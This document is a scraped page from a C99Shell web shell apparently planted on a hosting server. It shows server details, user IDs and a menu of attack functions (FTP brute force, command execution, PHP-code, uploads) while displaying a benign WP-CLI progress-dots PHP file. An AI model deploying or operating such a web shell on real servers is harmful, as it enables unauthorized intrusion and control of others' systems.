!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.3.27 

uname -a: Linux pdx1-shared-a4-04 6.6.104-grsec-jammy+ #3 SMP Tue Sep 16 00:28:11 UTC 2025 x86_64 

uid=6659440(dh_z2jmpm) gid=2086089(pg10499364) groups=2086089(pg10499364)  

Safe-mode: OFF (not secure)

/usr/local/wp/vendor/wp-cli/php-cli-tools/lib/cli/notify/   drwxr-xr-x
Free 719.34 GB of 879.6 GB (81.78%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Dots.php (1.85 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * PHP Command Line Tools
 *
 * This source file is subject to the MIT license that is bundled
 * with this package in the file LICENSE.
 *
 * @author    James Logsdon <[email protected]>
 * @copyright 2010 James Logsdom (http://girsbrain.org)
 * @license   http://www.opensource.org/licenses/mit-license.php The MIT License
 */

namespace cli\notify;

use cli\Notify;
use cli\Streams;

/**
 * A Notifer that displays a string of periods.
 */
class Dots extends Notify {
    protected $_dots;
    protected $_format = '{:msg}{:dots}  ({:elapsed}, {:speed}/s)';
    protected $_iteration;

    /**
     * Instatiates a Notification object.
     *
     * @param string  $msg       The text to display next to the Notifier.
     * @param int     $dots      The number of dots to iterate through.
     * @param int     $interval  The interval in milliseconds between updates.
     * @throws \InvalidArgumentException
     */
    public function __construct($msg, $dots = 3, $interval = 100) {
        parent::__construct($msg, $interval);
        $this->_dots = (int)$dots;

        if ($this->_dots <= 0) {
            throw new \InvalidArgumentException('Dot count out of range, must be positive.');
        }
    }

    /**
     * Prints the correct number of dots to `STDOUT` with the time elapsed and
     * tick speed.
     *
     * @param boolean  $finish  `true` if this was called from
     *                          `cli\Notify::finish()`, `false` otherwise.
     * @see cli\out_padded()
     * @see cli\Notify::formatTime()
     * @see cli\Notify::speed()
     */
    public function display($finish = false) {
        $repeat = $this->_dots;
        if (!$finish) {
            $repeat = $this->_iteration++ % $repeat;
        }

        $msg = $this->_message;
        $dots = str_pad(str_repeat('.', $repeat), $this->_dots);
        $speed = number_format(round($this->speed()));
        $elapsed = $this->formatTime($this->elapsed());

        Streams::out_padded($this->_format, compact('msg', 'dots', 'speed', 'elapsed'));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0099 ]--